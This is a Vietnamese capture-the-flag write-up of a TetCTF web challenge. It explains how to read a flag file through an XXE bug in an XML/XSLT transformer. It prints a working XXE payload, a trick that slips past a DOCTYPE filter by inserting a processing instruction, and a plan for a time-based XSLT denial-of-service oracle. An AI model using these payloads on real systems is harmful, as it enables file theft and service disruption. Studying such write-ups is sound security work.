Em ơi! lửa tắt bình khô rượu, Đời vắng em rồi, khoe với ai? — Vũ Hoàng Chương —
Một năm thấm thoắt trôi đi, một kì tetctf nữa lại đến...

Sau khi nghiền ngẫm source code của bài thì tôi nhận ra đây là phiên bản nâng cấp của bài Transformer trong giải SVATTT 2021 vừa rồi. Idea của bài là chương trình nhận input một file xml, đọc file và xử lý transform xslt chính file này. Do vậy file input sẽ chứa cả phần dữ liệu xml và xslt. Chương trình có bug XXE, dựa vào đó ta có thể lấy được đường dẫn và đọc file flag. Tuy nhiên response trả về giới hạn số kí tự nên cần dùng xslt để đọc dần flag theo offset. Writeup của bài đó ở đây: https://hackmd.io/jx5fI4kbSg6F-HqVHXr-Ew (link đã bị tác giả đã khóa lại từ lúc thi).
May mắn là chúng tôi vẫn lưu lại payload:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#style1"?>
<!DOCTYPE b [
<!ENTITY a SYSTEM "/">
]>
<doc>
<head>
<xsl:stylesheet id="style1" version="1.0"
xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">
<xsl:template match="/">
<xsl:variable name="data">
<xsl:value-of select="//param"/>
</xsl:variable>
<xsl:value-of select="substring($data,1,1)"/>
</xsl:template>
</xsl:stylesheet>
</head>
<body>
<param>&a;</param>
</body>
</doc>
Lần này tác giả đã thêm filter để chặn XXE bằng hàm preParsingValidation
// foo.bar.tetctf.Utils#preParsingValidation
private static void preParsingValidation(String xmlString) {
if (xmlString != null && xmlString.length() > 0) {
int len = xmlString.length();
int i = 0;
boolean done = false;
while(i < len && !done) {
char curChar = xmlString.charAt(i);
if (curChar != ' ' && curChar != '\t' && curChar != '\n' && curChar != '\r') {
if (curChar == '<' && i + 5 < len) {
if ("<!--".equals(xmlString.substring(i, i + 4))) {
for(i += 4; i + 3 < len && !"-->".equals(xmlString.substring(i, i + 3)); ++i) {
}
i += 3;
} else if (!"<?xml".equals(xmlString.substring(i, i + 5))) {
done = true;
} else {
for(i += 5; i + 3 < len && !"?>".equals(xmlString.substring(i, i + 2)); ++i) {
}
i += 2;
}
} else {
done = true;
}
} else {
++i;
}
}
int minLength = i + "<!DOCTYPE".length();
if (xmlString.length() >= minLength && "<!DOCTYPE".equals(xmlString.substring(i, minLength))) {
throw new TetCtfException("SECURITY WARNING: Potential DOS attack detected. The XML message contains a DTD. Therefore, the message is rejected.");
}
}
}
Sau một hồi suy ngẫm thì tôi nhận thấy nếu có thể chèn 1 kí tự nào đó vào giữa tag <?xml và tag <!DOCTYPE thì có thể bypass được filter. VD như sau
<?xml version="1.0" encoding="UTF-8"?>
<a></a>
<!DOCTYPE b [
...
Tuy nhiên sẽ bị lỗi do tag <a> không được phép ở trước DOCTYPE. Sau khoảng 2 tiếng ngồi mòn đít chiêm nghiệm các kiểu bypass không thành công, tôi chợt tự hỏi tag <?xml và <?xml-stylesheet có điều gì đặc biệt mà lại có thể đặt ở vị trí đó, có lẽ mấu chốt là ở dấu ? 🤔
Và quả thực đúng là như vậy. Sau khi thêm nó vào thì file xml đã valid và bypass được filter.
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#style1"?>
<?a ?>
<!DOCTYPE b [
...
Đến đây ta đã có thể khai thác XXE, tuy nhiên tác giả đã thêm rule firewall để chặn connect ra bên ngoài:
firewall strictly prohibit making out-going connection
Lúc này không có outbound thì ta phải làm sao. Error based cũng không được vì chẳng có chỗ nào response lại exception.
Tham khảo blog https://blog.tint0.com/2021/09/pinging-xmlsec.html, tôi nhận ra có thể dùng xslt để leak flag bằng phương pháp time based. Nếu hàm check trả về true thì đoạn XSLT Denial of Service sẽ được thực thi dẫn đến delay time.